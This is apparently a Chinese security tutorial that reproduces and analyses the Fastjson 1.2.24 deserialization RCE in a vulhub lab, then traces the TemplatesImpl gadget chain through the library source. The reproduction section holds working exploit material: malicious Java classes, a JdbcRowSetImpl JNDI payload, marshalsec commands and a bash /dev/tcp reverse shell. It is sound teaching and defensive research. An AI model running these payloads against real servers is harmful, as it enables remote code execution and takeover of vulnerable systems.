一、漏洞说明
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。近几年来fastjson漏洞层出不穷,本文将谈谈近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。以这个漏洞为基础,详细分析fastjson漏洞的一些细节问题。
二、环境搭建
1、安装docker(含换源)
编辑软件源配置文件
将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可
<apt-get update 更新索引
apt-get upgrade 更新软件
apt-get dist-upgrade 升级
apt-get clean 删除缓存包
apt-get autoclean 删除未安装的deb包>
apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git
4、启动fastjson环境(1.2.24-rce)
cd /opt/vulhub-master/fastjson/1.2.24-rce
docker-compose up
即可启动
三、漏洞复现
首先下载工具marshalsec
下载地址
https://github.com/RandomRobbieBF/marshalsec-jar
新建文件名为TouchFile.java
并在其中写入以下内容
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"ping", "xxx.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
复制
使用javac命令将TouchFile.java编译为TouchFile.class文件
然后开启http服务
端口随意只要不冲突即可
开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.xxx:xxxx/#TouchFile" 9999
然后打开靶场页面进行抓包
发送到repeater
将get请求修改为post
添加Content-Type: application/json字段
构建payload
payload如下
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:9999/TouchFile", "autoCommit":true } }
复制
发送,然后我们构建的class中的代码会ping dnslog查看dnslog有无数据
命令执行
首先将java文件中的代码修改为如下内容
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
复制
跟之前的操作一样get改post进行发包
进入docker容器内可查看是否执行成功(是否出现success)
反弹shell
代码大意:
主要目的是在Java应用程序加载时执行一个特定的命令。具体来说,它使用Java的Runtime和
Process类来执行一个bash shell命令,该命令尝试建立一个到指定IP地址和端
口的TCP连接。
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.xx.xxx/xxx 0>&1"}); p.waitFor(); } catch (Exception e) { } }
复制
同一样的抓包发包
查看监听端口那边的状况
四、工具利用
JNDI-Injection-Exploit
启动方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \[-C] \[远程文路径] \[-A] \[服务器地址]
FastjsonScan
BurpSuite插件 -- FastjsonScan
下载地址
https://github.com/pmiaowu/BurpFastJsonScan
下载完后选择extender添加jar包
五、漏洞分析
利用链流程
参数features是一个可变参数,parseObject方法底层实际上是调用了**parse**方法进行反序列化,并且将反序列化的Object对象转成了JSONObject
public static JSONObject parseObject(String text, Feature... features) { return (JSONObject) parse(text, features); }
复制
parse方法会循环获取可变参数features中的值,然后继续调用parse方法
public static Object parse(String text, Feature... features) { int featureValues = DEFAULT_PARSER_FEATURE; for (Feature feature : features) { featureValues = Feature.config(featureValues, feature, true); } return parse(text, featureValues); }
复制
分析parse方法
public static Object parse(String text, int features) { if (text == null) { return null; }
复制
//将json数据放到了一个DefaultJSONParser对象中 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); //然后调用parse方法解析json Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
复制
parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) { //省略部分代码...... case LBRACE: //创建一个JSONObject对象 JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); //parseObject方法 return parseObject(object, fieldName); //省略部分代码...... } }
复制
继续跟进parseObject方法
public final Object parseObject(final Map object, Object fieldName) { //省略部分代码...... //从json中提取@type key = lexer.scanSymbol(symbolTable, '"'); //省略部分代码...... //校验@type if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { //提取type对应的值 String typeName = lexer.scanSymbol(symbolTable, '"'); //然后根据typeName进行类加载 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) { object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } } //省略部分代码...... //然后将class对象封装成ObjectDeserializer对象 ObjectDeserializer deserializer = config.getDeserializer(clazz); //然后调用deserialze方法进行反序列化 return deserializer.deserialze(this, clazz, fieldName); }
复制
parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。
我们来看一下deserializer的内容,如下图所示:
TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了
然后调用了deserialze方法,该方法中的参数如下所示:
deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { //省略部分代码...... //调用createInstance方法实例化 if (object == null && fieldValues == null) { object = createInstance(parser, type); if (object == null) { fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length); } childContext = parser.setContext(context, object, fieldName); } //省略部分代码...... //调用parseField方法解析json boolean match = parseField(parser, key, object, type, fieldValues); }
复制
我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段
parseField方法
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代码...... FieldDeserializer fieldDeserializer = smartMatch(key); //SupportNonPublicField选项 final int mask = Feature.SupportNonPublicField.mask; //if判断会校验SupportNonPublicField选项 if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { //获取TemplatesImpl对象的属性信息 } //省略部分代码...... //调用parseField方法解析字段 fieldDeserializer.parseField(parser, object, objectType, fieldValues); return true; }
复制
parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞
校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数
parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object
@Override public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代码...... //解析json中的数据(将每个属性的值还原) value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name); //省略部分代码...... setValue(object, value); }
复制
可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)
继续跟进fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { //省略部分代码...... if (lexer.token() == JSONToken.LITERAL_STRING) { //调用了bytesValue方法 byte[] bytes = lexer.bytesValue(); lexer.nextToken(JSONToken.COMMA); return (T) bytes; } //省略部分代码...... }
复制
deserialze方法内部调用了bytesValue方法
bytesValue方法内部调用了确实对json数据中的\_bytecodes值进行了base64解码
触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法
继续分析setValue方法是如何触发漏洞的
public void setValue(Object object, Object value){ //首先校验value是否为null if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { //根据outputProperties属性获取对应的方法 Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { //反射调用getOutputProperties方法 Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else { method.invoke(object, value); } return; } } //省略部分代码...... }
复制
setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)
fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下
然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法
六、参考文章
https://blog.csdn.net/m0_51683653/article/details/129364136
https://blog.csdn.net/qq_35733751/article/details/119948833
https://ciyfly.github.io/2020/12/16/复现及分析fastjson1-2-24/
https://m.freebuf.com/articles/web/381720.html